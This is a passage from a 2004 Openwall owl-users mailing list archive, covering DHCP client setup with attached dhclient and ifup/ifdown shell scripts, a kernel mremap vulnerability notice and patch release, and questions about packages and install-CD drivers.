relmajor=3D`echo $release |sed -e 's/\([0-9][0-9]*\)\..*$/\1/'`
if [ x$new_broadcast_address !=3D x ]; then
new_broadcast_arg=3D"broadcast $new_broadcast_address"
fi
if [ x$old_broadcast_address !=3D x ]; then
old_broadcast_arg=3D"broadcast $old_broadcast_address"
fi
if [ x$new_subnet_mask !=3D x ]; then
new_subnet_arg=3D"netmask $new_subnet_mask"
fi
if [ x$old_subnet_mask !=3D x ]; then
old_subnet_arg=3D"netmask $old_subnet_mask"
fi
if [ x$alias_subnet_mask !=3D x ]; then
alias_subnet_arg=3D"netmask $alias_subnet_mask"
fi
if [ x$reason =3D xMEDIUM ]; then
# Linux doesn't do mediums (ok, ok, media).
exit_with_hooks 0
fi
if [ x$reason =3D xPREINIT ]; then
if [ x$alias_ip_address !=3D x ]; then
# Bring down alias interface. Its routes will disappear too.
ifconfig $interface:0- inet 0
fi
if [ $relmajor -lt 2 ] || ( [ $relmajor -eq 2 ] && [ $relminor -eq 0 ] =
)
then
ifconfig $interface inet 0.0.0.0 netmask 0.0.0.0 \
broadcast 255.255.255.255 up
# Add route to make broadcast work. Do not omit netmask.
route add default dev $interface netmask 0.0.0.0
else
ifconfig $interface 0 up
fi
# We need to give the kernel some time to get the interface up.
sleep 1
exit_with_hooks 0
fi
if [ x$reason =3D xARPCHECK ] || [ x$reason =3D xARPSEND ]; then
exit_with_hooks 0
fi
if [ x$reason =3D xBOUND ] || [ x$reason =3D xRENEW ] || \
[ x$reason =3D xREBIND ] || [ x$reason =3D xREBOOT ]; then
current_hostname=3D`hostname`
if [ x$current_hostname =3D x ] || \
[ x$current_hostname =3D x$old_host_name ]; then
if [ x$current_hostname =3D x ] || \
[ x$new_host_name !=3D x$old_host_name ]; then
hostname $new_host_name
fi
fi
if [ x$old_ip_address !=3D x ] && [ x$alias_ip_address !=3D x ] && \
[ x$alias_ip_address !=3D x$old_ip_address ]; then
# Possible new alias. Remove old alias.
ifconfig $interface:0- inet 0
fi
if [ x$old_ip_address !=3D x ] && [ x$old_ip_address !=3D =
x$new_ip_address ]; then
# IP address changed. Bringing down the interface will delete all =
routes,
# and clear the ARP cache.
ifconfig $interface inet 0 down
fi
if [ x$old_ip_address =3D x ] || [ x$old_ip_address !=3D =
x$new_ip_address ] || \
[ x$reason =3D xBOUND ] || [ x$reason =3D xREBOOT ]; then
ifconfig $interface inet $new_ip_address $new_subnet_arg \
=
$new_broadcast_arg
# Add a network route to the computed network address.
if [ $relmajor -lt 2 ] || \
( [ $relmajor -eq 2 ] && [ $relminor -eq 0 ] ); then
route add -net $new_network_number $new_subnet_arg dev $interface
fi
for router in $new_routers; do
route add default gw $router
done
fi
if [ x$new_ip_address !=3D x$alias_ip_address ] && [ =
x$alias_ip_address !=3D x ];
then
ifconfig $interface:0- inet 0
ifconfig $interface:0 inet $alias_ip_address $alias_subnet_arg
route add -host $alias_ip_address $interface:0
fi
make_resolv_conf
exit_with_hooks 0
fi
if [ x$reason =3D xEXPIRE ] || [ x$reason =3D xFAIL ] || [ x$reason =3D =
xRELEASE ] \
|| [ x$reason =3D xSTOP ]; then
if [ x$alias_ip_address !=3D x ]; then
# Turn off alias interface.
ifconfig $interface:0- inet 0
fi
if [ x$old_ip_address !=3D x ]; then
# Shut down interface, which will delete routes and clear arp cache.
ifconfig $interface inet 0 down
fi
if [ x$alias_ip_address !=3D x ]; then
ifconfig $interface:0 inet $alias_ip_address $alias_subnet_arg
route add -host $alias_ip_address $interface:0
fi
exit_with_hooks 0
fi
if [ x$reason =3D xTIMEOUT ]; then
if [ x$alias_ip_address !=3D x ]; then
ifconfig $interface:0- inet 0
fi
ifconfig $interface inet $new_ip_address $new_subnet_arg \
$new_broadcast_arg
set $new_routers
############## what is -w in ping?
if ping -q -c 1 $1; then
if [ x$new_ip_address !=3D x$alias_ip_address ] && \
[ x$alias_ip_address !=3D x ]; then
ifconfig $interface:0 inet $alias_ip_address $alias_subnet_arg
route add -host $alias_ip_address dev $interface:0
fi
if [ $relmajor -lt 2 ] || \
( [ $relmajor -eq 2 ] && [ $relminor -eq 0 ] ); then
route add -net $new_network_number
fi
for router in $new_routers; do
route add default gw $router
done
make_resolv_conf
exit_with_hooks 0
fi
ifconfig $interface inet 0 down
exit_with_hooks 1
fi
exit_with_hooks 0
------=_NextPart_000_0020_01C3EB8B.5F671B00
Content-Type: application/octet-stream;
name="dhclient.conf"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
filename="dhclient.conf"
timeout 30;
retry 60;
select-timeout 5;
reboot 0;
#script "/etc/dhclient-script";
request subnet-mask, broadcast-address, routers, domain-name-servers;
require;
lease {
interface "eth0";
option host-name "babydoos";
option subnet-mask 255.255.255.0;
option domain-name "edup.tudelft.nl";
option domain-name-servers 127.0.0.1;
}
------=_NextPart_000_0020_01C3EB8B.5F671B00--
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Message-ID: <000b01c3ebf2$a6590250$0100a8c0@grotedoos>
From: "Berend-Jan Wever" <SkyLined@private>
To: <owl-users@private>
References: <001701c3ea0f$2bc3d810$0100a8c0@grotedoos> <20040203044149.GA21625@private> <002301c3eb82$fdc8d8a0$0100a8c0@grotedoos>
Subject: Re: dhcp client: working!
Date: Thu, 5 Feb 2004 15:16:29 +0100
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I fixed it:
problem 1 solution: "/etc/dhclient-script" script is not needed, I removed
it.
"/etc/sysconfig/network" script only needs "NETWORKING=yes".
problem 2 seems to be solved by my earlier script.
problem 3 seems to be solved by my earlier script.
problem 4 solution is a symlink in /etc/sysconfig/networking-scripts: "ln -s
ifcfg-eth0 eth0". Now /sbin/dhclient-script works, as does ifconfig.
It's up and running! Now for my next task: installing PPPOE so I can get my
gateway in contact with the internet...
Cheers,
SkyLined
----- Original Message -----
From: "Berend-Jan Wever" <SkyLined@private>
To: <owl-users@private>
Sent: Thursday, February 05, 2004 1:57
Subject: Re: dhcp client
> Ok, I've build my dhclient. But I'm just running into more and more
> problems, I hope you can help me out, but this might be getting more of a
> dhcp problem then an owl problem now...
>
> problem 1: dhclient seems to require a "/etc/dhclient-script", which was
> missing (shouldn't a default version have been installed with the rpm ?).
> My solution: I found the attached file on the internet and used that.
> problem 2: dhclient seems to require a "/etc/dhclient.conf" file, which
was
> also missing.
> My solution: I've constructed something from man-pages and googling for
> information, also attached.
>
> The system I'm building is going to have to ethernet cards installed:
> - eth0: DHCP
> - eth1: 192.168.0.16 netmask 255.255.255.0
> So I edited /etc/sysconfig/network-scripts/ifcfg-eth0 and -eth1.
> -- /etc/sysconfig/network-scripts/ifcfg-eth0:
> DEVICE=eth0
> BOOTPROTO=dhcp
> ONBOOT=yes
> TYPE=Ethernet
> -- EOF
> problem 3: when "ifup" gets run to get eth0 up, it tries to use
"/sbin/pump"
> instead of "/sbin/dhclient" for DHCP. (This must be an old script or
> something !?)
> My solution: I edited ifup, added a small part for "BOOTPROTO=dhclient"
> which would do
> -- /etc/sysconfig/network-scripts/ifup:
> -- *SNIP* --
> echo -n "Requesting DHCP information for $DEVICE..."
> if ifconfig $DEVICE up && /sbin/dhclient -q $DEVICE ; then
> echo " done."
> else
> echo " failed."
> ifconfig $DEVICE down
> exit 1
> fi
> -- *SNIP* --
> problem 4: dhclient won't work. It gives "/sbin/dhclient-script:
> configuration for eth0 not found." error messages and it just seems to
keep
> on DHCPDISCOVERing forever without accepting a DHCPOFFER.
>
> -- *SNIP* --
> root@babydoos:~# dhclient eth0
> Internet Software Consortium DHCP Client V3.0pl2
> Copyright 1995-2001 Internet Software Consortium.
> All rights reserved.
> For info, please visit http://www.isc.org/products/DHCP
>
> /sbin/dhclient-script: configuration for eth0 not found.
> Listening on LPF/eth0/52:54:05:f3:d6:98
> Sending on LPF/eth0/52:54:05:f3:d6:98
> Sending on Socket/fallback
> DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 8
> DHCPOFFER from 172.20.72.3
> DHCPREQUEST on eth0 to 255.255.255.255 port 67
> DHCPACK from 172.20.72.3
> /sbin/dhclient-script: configuration for eth0 not found.
> DHCPDECLINE on eth0 to 255.255.255.255 port 67
> DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 3
> DHCPOFFER from 172.20.72.3
> DHCPREQUEST on eth0 to 255.255.255.255 port 67
> DHCPACK from 172.20.72.3
> -- *SNIP* --
>
> Anyway, I hope somebody has the time and knowledge to help me out with all
> this, thanks in advance!
>
> Cheers,
>
> SkyLined
>
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Date: Fri, 6 Feb 2004 00:18:02 +0300
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: dhcp client
Message-ID: <20040205211802.GA29057@private>
References: <001701c3ea0f$2bc3d810$0100a8c0@grotedoos> <20040203044149.GA21625@private> <002301c3eb82$fdc8d8a0$0100a8c0@grotedoos>
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On Thu, Feb 05, 2004 at 01:57:12AM +0100, Berend-Jan Wever wrote:
> problem 1: dhclient seems to require a "/etc/dhclient-script", which was
> missing (shouldn't a default version have been installed with the rpm ?).
> My solution: I found the attached file on the internet and used that.
> problem 2: dhclient seems to require a "/etc/dhclient.conf" file, which was
> also missing.
> My solution: I've constructed something from man-pages and googling for
> information, also attached.
The dhcp-client subpackage is unfinished and, as you know, not built
by default or officially supported by us.
I think that you could get samples for those two files by looking
inside the source tarball the package is built from.
> BOOTPROTO=dhcp
Similarly, this is unsupported.
You would have better luck starting the DHCP client manually.
> problem 3: when "ifup" gets run to get eth0 up, it tries to use "/sbin/pump"
> instead of "/sbin/dhclient" for DHCP. (This must be an old script or
> something !?)
That's a remainder from Red Hat's networking scripts, -- which we should
drop entirely and re-implement. There's an Owl TODO item on that.
--
/sd
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From: "Berend-Jan Wever" <SkyLined@private>
To: <owl-users@private>
Subject: dhclient adjustment for "ifup" and "ifdown"
Date: Fri, 6 Feb 2004 17:12:45 +0100
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------=_NextPart_000_0005_01C3ECD4.70675D30
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Hi,
If you're going to use dhclient in Owl, I recomment these adjustments to
ifup and ifdown. Maybe some other scripts need adjustment too, I haven't
checked.
Development team: I posted them here because you might want to use them in
upcomming releases of Owl.
Cheers,
SkyLined
------=_NextPart_000_0005_01C3ECD4.70675D30
Content-Type: application/octet-stream;
name="ifup.dat"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
filename="ifup.dat"
#!/bin/bash
PATH=3D/sbin:/usr/sbin:/bin:/usr/bin
# 06-feb-2004, Berend-Jan Wever: Changed dhcp to use dhclient instead of =
pump
cd /etc/sysconfig/network-scripts
. network-functions
need_hostname
CONFIG=3D$1
[ -z "$CONFIG" ] && {
echo "usage: ifup <device name>" >&2
exit 1
}
[ -f "$CONFIG" ] || CONFIG=3Difcfg-$CONFIG
[ -f "$CONFIG" ] || {
echo "usage: ifup <device name>" >&2
exit 1
}
if [ $UID !=3D 0 ]; then
if [ -x /usr/sbin/usernetctl ]; then
if /usr/sbin/usernetctl $CONFIG report ; then
exec /usr/sbin/usernetctl $CONFIG up
fi
fi
echo "Users cannot control this device." >&2
exit 1
fi
source_config
if [ "foo$2" =3D "fooboot" -a "${ONBOOT}" =3D "no" -o "${ONBOOT}" =3D =
"NO" ] ; then
exit
fi
IPSETUP=3Dno
DEVICETYPE=3D`echo $DEVICE | sed "s/[0-9]*$//"`
REALDEVICE=3D`echo $DEVICE | sed 's/:.*//g'`
if echo $DEVICE | grep -q ':' ; then
ISALIAS=3Dyes
else
ISALIAS=3Dno
fi
# Old BOOTP variable
if [ "$BOOTP" =3D "yes" ]; then
BOOTPROTO=3Dbootp
fi
OTHERSCRIPT=3D"/etc/sysconfig/network-scripts/ifup-${DEVICETYPE}"
if [ -x $OTHERSCRIPT ]; then
exec $OTHERSCRIPT $CONFIG $2
fi
# is this device available? (this catches PCMCIA devices for us)
/sbin/ifconfig ${REALDEVICE} 2>&1 | grep -s "not found" > /dev/null
if [ "$?" =3D "0" ]; then
echo "Delaying ${DEVICE} initialization."
exit 1
fi
if [ "$SLAVE" =3D yes -a "$ISALIAS" =3D no -a "$MASTER" !=3D "" -a \
-x /sbin/ifenslave ]; then
RFLAG=3D"" ; [ "$RECEIVE-ONLY" =3D yes ] && RFLAG=3D"-r"
ifconfig ${DEVICE} down
echo "Enslaving $DEVICE to $MASTER"
ifenslave $RFLAG "$MASTER" "$DEVICE"
exit 0
fi
if [ -n "$MACADDR" ]; then
ifconfig ${DEVICE} hw ether ${MACADDR}
fi
if [ "$BOOTPROTO" =3D "dhcp" ]; then
DHCLIENTARGS=3D
if [ -n "$DHCP_PORT" ]; then
DHCLIENTARGS=3D=3D"-p $DHCP_PORT"
fi
if [ -n "$DHCP_DESTINATION" ]; then
DHCLIENTARGS=3D=3D"-s $DHCP_DESTINATION $DHCLIENTARGS"
fi
if [ -n "$DHCP_RELEASE" ]; then
DHCLIENTARGS=3D=3D"-r $DHCP_RELEASE $DHCLIENTARGS"
fi
echo -n "Requesting DHCP information for $DEVICE..."
if ifconfig $DEVICE up && /sbin/dhclient -q $DEVICE $DHCLIENTARGS ; =
then
echo " done."
else
ifconfig $DEVICE down
echo " failed."
exit 1
fi
elif [ "$BOOTPROTO" =3D "bootp" ]; then
PUMPARGS=3D
if [ -n "$DHCP_HOSTNAME" ]; then
PUMPARGS=3D"-h $DHCP_HOSTNAME"
fi
echo -n "Determining IP information for $DEVICE..."
if /sbin/pump $PUMPARGS -i $DEVICE ; then
echo " done."
else
echo " failed."
exit 1
fi
else
if [ -z "$NETMASK" ]; then
eval `/bin/ipcalc --netmask ${IPADDR}`
fi
if [ -z "$BROADCAST" ]; then
eval `/bin/ipcalc --broadcast ${IPADDR} ${NETMASK}`
fi
if [ -z "$NETWORK" ]; then
eval `/bin/ipcalc --network ${IPADDR} ${NETMASK}`
fi
ifconfig ${DEVICE} ${IPADDR} netmask ${NETMASK} broadcast =
${BROADCAST} ${ARP:+arp}
# don't re-add subnet route on 2.2 kernels, but add a route
# to a non-local subnet.
# stupid hack, but it should work
if [ "$ISALIAS" =3D no ] && [ -z "`route -n | sed "s/ .*//" | grep =
${NETWORK}`" ]; then
route add -net ${NETWORK} netmask ${NETMASK} dev ${DEVICE}
else
route add -host ${IPADDR} ${DEVICE}
fi
# this is broken! it's only here for compatibility with old RH systems
if [ "${GATEWAY}" !=3D "" -a "${GATEWAY}" !=3D "none" ]; then
route add default gw ${GATEWAY} metric 1 ${DEVICE}
fi
. /etc/sysconfig/network
if [ "${GATEWAYDEV}" =3D "" -o "${GATEWAYDEV}" =3D "${DEVICE}" ]; =
then
# set up default gateway
if [ "${GATEWAY}" !=3D "" ]; then
route add default gw ${GATEWAY} ${DEVICE}
DEFGW=3D${GATEWAY}
elif [ "${GATEWAYDEV}" =3D "${DEVICE}" ]; then
route add default ${DEVICE}
fi
fi
fi
. /etc/sysconfig/network
if [ "$IPX" =3D yes ]; then
/etc/sysconfig/network-scripts/ifup-ipx $DEVICE
fi
exec /etc/sysconfig/network-scripts/ifup-post $CONFIG $2
------=_NextPart_000_0005_01C3ECD4.70675D30
Content-Type: application/octet-stream;
name="ifdown.dat"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
filename="ifdown.dat"
#!/bin/sh
PATH=/sbin:/usr/sbin:/bin:/usr/bin
cd /etc/sysconfig/network-scripts
. network-functions
CONFIG=$1
[ -z "$CONFIG" ] && {
echo "usage: ifdown <device name>" >&2
exit 1
}
[ -f "$CONFIG" ] || CONFIG=ifcfg-$CONFIG
[ -f "$CONFIG" ] || {
echo "usage: ifdown <device name>" >&2
exit 1
}
if [ $UID != 0 ]; then
if [ -x /usr/sbin/usernetctl ]; then
if /usr/sbin/usernetctl $CONFIG report ; then
exec /usr/sbin/usernetctl $CONFIG down
fi
fi
echo "Users cannot control this device." >&2
exit 1
fi
source_config
DEVICETYPE=`echo $DEVICE | sed "s/[0-9]*$//"`
OTHERSCRIPT="/etc/sysconfig/network-scripts/ifdown-${DEVICETYPE}"
if [ -x $OTHERSCRIPT ]; then
exec $OTHERSCRIPT $CONFIG $2
fi
# Check to make sure the device is actually up
check_device_down && exit 0
if [ "$BOOTPROTO" = bootp ]; then
pump -r -i ${DEVICE}
fi
if [ "$BOOTPROTO" = dhcp ]; then
echo -n "Releasing DHCP lease..."
dhclient -q -r ${DEVICE}; then
echo " done."
fi
ifconfig ${DEVICE} down
# wait up to 5 seconds for device to actually come down...
waited=0
while ! check_device_down && [ "$waited" -lt 50 ] ; do
usleep 100000
waited=$(($waited+1))
done
if [ "$retcode" = 0 ] ; then
/etc/sysconfig/network-scripts/ifdown-post $CONFIG
# do NOT use $? because ifdown should return whether or not
# the interface went down.
fi
exit $retcode
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Date: Sat, 7 Feb 2004 09:56:24 +0300
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: dhclient adjustment for "ifup" and "ifdown"
Message-ID: <20040207065624.GA10432@private>
References: <000801c3eccc$0ef88f40$0100a8c0@grotedoos>
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On Fri, Feb 06, 2004 at 05:12:45PM +0100, Berend-Jan Wever wrote:
> If you're going to use dhclient in Owl, I recomment these adjustments to
> ifup and ifdown. Maybe some other scripts need adjustment too, I haven't
> checked.
> Development team: I posted them here because you might want to use them in
> upcomming releases of Owl.
OK, I've added them in the form of a patch in owl-startup package, but
just like I've already mentioned those scripts are to be re-written.
Until then and until we get a DHCP client that is reasonably safe to
use, there won't be "official" DHCP client support in Owl.
--
Alexander Peslyak <solar@private>
GPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
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Date: Mon, 9 Feb 2004 20:29:44 +0000 (GMT)
From: Simon B <simonb@private>
To: Owl Users Mailing List <owl-users@private>
Subject: Mozilla Fire{bird,fox}
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-----BEGIN PGP SIGNED MESSAGE-----
Hi,
In case anyone else wants to run Mozilla Firefox (as it's now called),
i've got a binary dist available at
http://simonbs.com/misc/Owl/mozilla-i686-pc-linux-gnu.tar.gz
It's just a standarb build, that will run on glibc 2.1.3. You
need X installed too (duh...) plus GTK, GDK, etc.
Any probs let me know.
Regards,
Simon
- --
- -----------------------------------------------------------------------------
Simon B. http://kaizo.org/simonb spb!kaizo.org
Linux is only free if your time has no value...(jwz.org)
- -----------------------------------------------------------------------------
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Date: Sat, 14 Feb 2004 18:56:58 +0500
From: Semyon Novikov <tappak@private>
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Message-ID: <112587833.20040214185658@private>
To: owl-users@private
Subject: Sparc installation
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Hi,
What linux distro you can advise to compile Owl on sparc.
And when i can find them?
Little lama quastion :)
How i can fetch mail in Owl? I can't find fetchmail or
grepmail in distro.
--
Computer without MS Windows,
as if fish without umbrella...
br,
.tappak
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Date: Sun, 15 Feb 2004 06:24:54 +0300
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: Sparc installation
Message-ID: <20040215032454.GA19884@private>
References: <112587833.20040214185658@private>
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On Sat, Feb 14, 2004 at 06:56:58PM +0500, Semyon Novikov wrote:
> What linux distro you can advise to compile Owl on sparc.
Why compile Owl off another distro?
You do need another distro to install from on SPARC as we currently
don't have bootable ISO images for SPARC. For that purpose, RH 6.2 is
known to work, but almost any other Linux distro you might have installed
should work as well. Only rpm2cpio and some GNU tools should be needed.
Once you get Owl installed in this way (from the binary packages we
distribute), you can also rebuild it from source. But you don't have to.
> And when i can find them?
Any time you like. ;-)
> Little lama quastion :)
> How i can fetch mail in Owl? I can't find fetchmail or
> grepmail in distro.
There's no fetchmail included and I don't even know what grepmail is.
The mutt package on Owl includes POP3 and IMAP client functionality.
Alternatively, you can of course install fetchmail or anything else
you like, at your own responsibility.
--
Alexander Peslyak <solar@private>
GPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
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Date: Wed, 18 Feb 2004 09:15:24 -0600
From: "Steve Bremer" <steveb@private>
To: <owl-users@private>
Subject: New mremap vulnerability
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Hi SD,
After reviewing the 2.4.24 -> 2.4.25 patch, it appears to me
that those of us using either the 2.4.23-ow2 or 2.4.24-ow1 kernel
patches are not affected by this latest mremap security bug. Can you
confirm this? In fact, it looks like the code from the Openwall kernel
patches in 2.4.25.
Thanks,
Steve Bremer
NEBCO, Inc.
System & Security Administrator
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Date: Wed, 18 Feb 2004 18:42:19 +0300
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: New mremap vulnerability
Message-ID: <20040218154219.GA16919@private>
References: <s0332d3a.035@private>
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On Wed, Feb 18, 2004 at 09:15:24AM -0600, Steve Bremer wrote:
> After reviewing the 2.4.24 -> 2.4.25 patch, it appears to me
> that those of us using either the 2.4.23-ow2 or 2.4.24-ow1 kernel
> patches are not affected by this latest mremap security bug. Can you
> confirm this? In fact, it looks like the code from the Openwall kernel
> patches in 2.4.25.
Confirmed.
I don't know why Paul chose to not mention it in his Bugtraq announcement,
he was aware that 2.4.23-ow2+ has this fixed.
--
Alexander Peslyak <solar@private>
GPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
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Date: Wed, 18 Feb 2004 09:56:16 -0600
From: "Steve Bremer" <steveb@private>
To: <owl-users@private>
Subject: Re: New mremap vulnerability
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Excellent. Thanks Solar, you save me from another day or two of the
build/test/patch cycle.
Steve Bremer
NEBCO, Inc.
System & Security Administrator
>>> solar@private 02/18/2004 9:42:19 AM >>>
On Wed, Feb 18, 2004 at 09:15:24AM -0600, Steve Bremer wrote:
> After reviewing the 2.4.24 -> 2.4.25 patch, it appears to me
> that those of us using either the 2.4.23-ow2 or 2.4.24-ow1 kernel
> patches are not affected by this latest mremap security bug. Can
you
> confirm this? In fact, it looks like the code from the Openwall
kernel
> patches in 2.4.25.
Confirmed.
I don't know why Paul chose to not mention it in his Bugtraq
announcement,
he was aware that 2.4.23-ow2+ has this fixed.
--
Alexander Peslyak <solar@private>
GPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D
3598
http://www.openwall.com - bringing security into open computing
environments
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Subject: RE: New mremap vulnerability
Date: Wed, 18 Feb 2004 16:45:28 -0500
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On Wed, Feb 18, 2004 at 10:42:19AM -0500, Solar Designer wrote:
> On Wed, Feb 18, 2004 at 09:15:24AM -0600, Steve Bremer wrote:
> > After reviewing the 2.4.24 -> 2.4.25 patch, it appears to me
> > that those of us using either the 2.4.23-ow2 or 2.4.24-ow1 kernel
> > patches are not affected by this latest mremap security bug. Can you
> > confirm this? In fact, it looks like the code from the Openwall kernel
> > patches in 2.4.25.
>
> Confirmed.
>
> I don't know why Paul chose to not mention it in his Bugtraq announcement,
> he was aware that 2.4.23-ow2+ has this fixed.
Are those of us running linux-2.2.25-ow1 (w/ -HAP extensions) vulnerable to
the latest mremap(2) security hole? If so, does anyone know of a patch that
closes this hole under 2.2.25?
Thanks,
-Bill
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Date: Thu, 19 Feb 2004 06:05:13 +0300
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: New mremap vulnerability
Message-ID: <20040219030513.GA17672@private>
References: <20040218154219.GA16919@private>
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On Wed, Feb 18, 2004 at 04:45:28PM -0500, Bill Jaeger wrote:
> On Wed, Feb 18, 2004 at 10:42:19AM -0500, Solar Designer wrote:
> > On Wed, Feb 18, 2004 at 09:15:24AM -0600, Steve Bremer wrote:
> > > After reviewing the 2.4.24 -> 2.4.25 patch, it appears to me
> > > that those of us using either the 2.4.23-ow2 or 2.4.24-ow1 kernel
> > > patches are not affected by this latest mremap security bug. Can you
> > > confirm this? In fact, it looks like the code from the Openwall kernel
> > > patches in 2.4.25.
> >
> > Confirmed.
> >
> > I don't know why Paul chose to not mention it in his Bugtraq announcement,
> > he was aware that 2.4.23-ow2+ has this fixed.
>
> Are those of us running linux-2.2.25-ow1 (w/ -HAP extensions) vulnerable to
> the latest mremap(2) security hole?
There's been some mis-communication between me and Paul on that,
unfortunately. For the time being, you should assume that, yes, 2.2.x
is affected (although the exploit has to be different).
> If so, does anyone know of a patch that closes this hole under 2.2.25?
The obvious temporary workaround is to disable mremap() syscall (by
patching kernel sources or by patching sys_call_table[] from a kernel
module).
--
Alexander Peslyak <solar@private>
GPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
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Date: Sun, 22 Feb 2004 06:44:18 +0300
From: Solar Designer <solar@private>
To: announce@private, owl-users@private, lwn@private
Subject: Linux 2.4.25-ow1, 2.2.25-ow2
Message-ID: <20040222034418.GA10967@private>
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Hi,
Two Openwall Linux kernel patch updates have been released recently,
one is a simple update to Linux 2.4.25, the other is a second revision
of the patch for Linux 2.2.25 adding a number of kernel security bug
fixes.
As some of you are aware, a second local root vulnerability in the
mremap(2) system call has been discovered by Paul Starzetz and made
public on February 18. This vulnerability affects Linux 2.4.x
kernels up to and including 2.4.24 (but not 2.4.25) and Linux 2.2.x
kernels up to and including 2.2.25.
Luckily, Linux 2.4.23-ow2 and 2.4.24-ow1 are not affected as these
patches already included a kernel bug fix which was later determined
to be security-critical and needed to avoid this second mremap(2)
system call vulnerability. In fact, it's the exact same fix which
went into Linux 2.4.25.
Thus, upgrading of existing Linux 2.4.23-ow2 and 2.4.24-ow1 installs
to 2.4.25-ow1 is not strictly required for most users, although the
use of 2.4.25-ow1 is recommended over older versions for new installs.
We didn't have as much luck with Linux 2.2.x this time, and Linux
2.2.25-ow2 actually includes a workaround for this new mremap(2)
vulnerability. It also includes the /dev/rtc information leak fix and
other minor fixes. Upgrading of existing Linux 2.2.x installs is
strongly recommended.
As usual, the patches are available from:
http://www.openwall.com/linux/
--
Alexander Peslyak <solar@private>
GPG key ID: B35D3598 fp: 6429 0D7E F130 C13E C929 6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
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X-AV-Checked: Wed Mar 3 11:47:37 2004 "AVCHECK"
Date: Wed, 3 Mar 2004 11:47:55 +0600
From: Dmitriy Litovchin <dali@private>
Organization: NTP VTI
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To: owl-users@private
Subject: popa3d + syslog
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Hi!
In current versions popa3d uses DAEMON facility to
log to SYSLOG. It is quite inconvinient, 'cause
by default, all DAEMON.* logging goes to /var/log/messages
and it is filled with popa3d's connection messages.
As for me, I changed the default log facility for popa3d
to UUCP. It may be useful for somebody - just to have
a way to remove all popa3d's talking from /var/log/messages
and to have it in single other place...
PS: OWL - great distro, thanks guys !!!
Best regards,
Dmitriy Litovchin (LT137-RIPE)
NTP VTI Ltd, a Business Technics Group company
Omsk, Russia
phone (3812) 23-33-77, 23-52-77, 23-17-03
fax (3812) 24-43-11
e-mail: dali@private
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Subject: iproute2
From: Marcin Siennicki <m.siennicki@private>
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Hi,
may I ask why isn't htb patch applied by default?
Marcin
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Date: Mon, 8 Mar 2004 22:15:08 +0200
From: Michail Litvak <mci@private>
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Hello Marcin Siennicki!
Sat, Mar 06, 2004 at 04:30:15PM +0100, m.siennicki wrote about "iproute2":
MS> Hi,
MS> may I ask why isn't htb patch applied by default?
Because it require 2.4.x kernel but Owl <= 1.1 support building himself on 2.2.x kernel.
In Owl-current we will drop support building on 2.2.x kernels and include htb patch.
CU!
--
//ShaD0w
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Subject: modules on the CD - yet another question
From: Marcin Siennicki <m.siennicki@private>
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Hi again,
this time I'm asking why there are no device drivers
(for SCSI controllers, NICs,...) on the CD?
I believe many people cannot install Owl with just
Owl CD, they are to use another linux installation
to mount Owl CD, destination volumes, then chroot,
etc...
Example: VMware. One need to complie BusLogic module
on the "real" host, and then scp it into VM.
Marcin.
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Date: Fri, 12 Mar 2004 01:13:53 +0300
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: modules on the CD - yet another question
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Hi,
> Marcin Siennicki wrote to owl-users@private:
> > this time I'm asking why there are no device drivers
> > (for SCSI controllers, NICs,...) on the CD?
There're quite some drivers compiled right into the kernel image, for
both SCSI controllers and NICs.
There're no SCSI drivers built as modules and supplied on the CD
because if we do build a disk controller driver, it better be
available right before the CD drive is first accessed by the kernel
(the CD drive may be on that controller too!) So all the SCSI drivers
for "common enough" controllers are currently compiled in.
As for NICs, yes, we could supply some pre-built drivers besides those
compiled into the kernel (although, again, most common ones are in
there). But there's nothing which prevents you from doing the same
once you have booted off the CD already.
> > I believe many people cannot install Owl with just
> > Owl CD, they are to use another linux installation
> > to mount Owl CD, destination volumes, then chroot,
> > etc...
Well, the only case where that is really required is if we're missing
a disk controller driver. And, as I have mentioned above, simply
building the driver as module and including it on the CD is not a
complete solution.
On Thu, Mar 11, 2004 at 01:07:59PM +0300, gremlin wrote:
> Sure, having the 1.4 MB for El Torito CD boot image, we are able to put
> there a really "fat" bzipped kernel,
And we already do! The current 2.4.x kernel images used on boot CDs
barely fit in the 1.44 MB floppy image (along with LILO).
We already had to drop some potentially useful stuff from default
kernels on the CDs (most notably, PCMCIA and USB support) when moving
from 2.2.x to the bigger 2.4.x kernels, also adding support for ext3.
There's really no room to add many more drivers with the current
approach. Well, maybe if we switch to using 2.88 MB "floppies", but
that would kill support for systems which can't boot off a CD and
actually require one to produce a boot floppy.
> which could carry in support for all necessary (at least frequently
> used) hardware. Most of such modules can be compiled into the kernel,
It's this way presently.
> some (conflicting like 3COM 3c5x9 and 3c90x)
I'm not sure you're correct about this pair of drivers. CONFIG_EL3
(for 3c509) and CONFIG_VORTEX (for 3c59x and 3c90x) may both be
enabled at the same time, -- and are enabled on the Owl 1.1 CDs.
> have to be built as
> external modules - but they are really needed on the installation CD.
Well, yes, it could be somewhat helpful to have some extra modules
pre-built.
A better approach might be to move all the disk controller drivers
into the 1.44 MB floppy image (either compile them into the kernel
like we do now or start using initrd), but to make that possible at
the same time remove all non-essential non-disk drivers and even
entire kernel subsystems into modules available only on the CD (not in
the floppy image). This will require more documentation and/or helper
programs to load the necessary modules when booting off the CD.
> 2 Solar: I suspect this is a good thing to do in Owl-1.2-release...
There're many good things to do...
--
Alexander Peslyak <solar@private>
